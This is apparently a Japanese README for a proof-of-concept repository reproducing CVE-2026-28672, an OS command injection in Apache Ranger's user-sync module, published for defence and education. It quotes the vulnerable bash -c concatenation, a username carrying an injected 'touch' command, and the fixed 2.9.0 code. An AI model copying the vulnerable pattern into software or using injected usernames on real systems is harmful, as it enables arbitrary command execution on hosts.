UnixUserGroupBuilder の OS コマンドインジェクションApache Ranger の user-sync(unixusersync)モジュールにおける OS コマンドインジェクションの実行可能な PoC 再現コードです。
同期された各ユーザーのグループを列挙する際、UnixUserGroupBuilder はシェルを介して id コマンドを実行し、ユーザー名をコマンドラインに連結します:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
ユーザー名は設定された user-sync ソース(LDAP/AD またはファイル)から取得されるため、攻撃者の影響を受けます。シェルのメタキャラクター(例: alice; touch /tmp/pwned)を含むユーザー名は、OS コマンドとして実行されます(CWE-77、コマンドで使用される特殊要素の不適切な無害化)。
mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar
脆弱なコードパスでの期待される出力:
[1] Benign username 'nobody':
id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true
Apache Ranger 2.9.0 は id を引数ベクトルとして直接実行するため、ユーザー名は単一のリテラル引数となり、シェルによって解釈されることはありません:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
このリポジトリの UnixUserGroupBuilderVuln.java には、両方の形式がそのまま含まれており、アップストリームのソースに引用されています。
このリポジトリは、教育および防御目的で公開されています。Apache Ranger ユーザーが脆弱性を理解し、自分たちが影響を受けているかどうかを確認し、アップグレードによって解決することを確認できるようにするためです。ペイロードは無害です(/tmp の下にマーカーファイルを作成するだけです)。所有または運用しているシステム以外に対してこのマテリアルを使用しないでください。
| プロパティ | 値 |
|---|
| プロジェクト | Apache Ranger — org.apache.ranger.unixusersync (user-sync) |
| クラス | CWE-77 コマンドで使用される特殊要素の不適切な無害化(コマンドインジェクション) |
| 攻撃ベクトル | user-sync ソースから供給される、シェルのメタキャラクターを含むユーザー名 |
| 影響 | Ranger user-sync ホスト上での任意の OS コマンド実行 |
| 影響を受けるバージョン | 0.6 から 2.8 まで |
| 修正済みバージョン | 2.9.0 |
| 勧告 | lists.apache.org のスレッド · CVE-2026-28672 |
| クレジット | Andrea Cosentino |